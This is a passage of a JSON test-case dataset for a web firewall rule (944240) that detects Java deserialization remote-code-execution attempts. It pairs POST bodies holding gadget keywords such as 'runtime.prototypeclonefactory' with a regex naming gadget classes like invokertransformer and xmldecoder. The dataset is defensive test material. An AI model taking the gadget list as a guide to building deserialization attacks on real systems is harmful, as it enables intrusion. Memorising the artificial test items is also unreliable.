"(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Content-Type application/json arg name includes keyword runtime.invokertransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=runtime.prototypeclonefactory" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Argument test includes keyword runtime.prototypeclonefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "runtime.prototypeclonefactory=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Argument name includes keyword runtime.prototypeclonefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Cookie test includes keyword runtime.prototypeclonefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Cookie name includes keyword runtime.prototypeclonefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Request header test includes keyword runtime.prototypeclonefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"runtime.prototypeclonefactory\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "XML attribute value includes keyword runtime.prototypeclonefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">runtime.prototypeclonefactory</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "XML element value includes keyword runtime.prototypeclonefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">runtime.prototypeclonefactory</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Nested XML element value includes keyword runtime.prototypeclonefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=runtime.prototypeclonefactory" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Content-Type text/plain includes keyword runtime.prototypeclonefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"runtime.prototypeclonefactory\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Content-Type application/json arg value includes keyword runtime.prototypeclonefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"runtime.prototypeclonefactory\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Content-Type application/json arg name includes keyword runtime.prototypeclonefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=runtime.prototypeserializationfactory" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Argument test includes keyword runtime.prototypeserializationfactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "runtime.prototypeserializationfactory=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Argument name includes keyword runtime.prototypeserializationfactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Cookie test includes keyword runtime.prototypeserializationfactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Cookie name includes keyword runtime.prototypeserializationfactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Request header test includes keyword runtime.prototypeserializationfactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"runtime.prototypeserializationfactory\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "XML attribute value includes keyword runtime.prototypeserializationfactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">runtime.prototypeserializationfactory</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "XML element value includes keyword runtime.prototypeserializationfactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">runtime.prototypeserializationfactory</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Nested XML element value includes keyword runtime.prototypeserializationfactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=runtime.prototypeserializationfactory" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Content-Type text/plain includes keyword runtime.prototypeserializationfactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"runtime.prototypeserializationfactory\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Content-Type application/json arg value includes keyword runtime.prototypeserializationfactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"runtime.prototypeserializationfactory\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Content-Type application/json arg name includes keyword runtime.prototypeserializationfactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=runtime.whileclosure" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Argument test includes keyword runtime.whileclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "runtime.whileclosure=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Argument name includes keyword runtime.whileclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Cookie test includes keyword runtime.whileclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Cookie name includes keyword runtime.whileclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Request header test includes keyword runtime.whileclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"runtime.whileclosure\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "XML attribute value includes keyword runtime.whileclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">runtime.whileclosure</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { 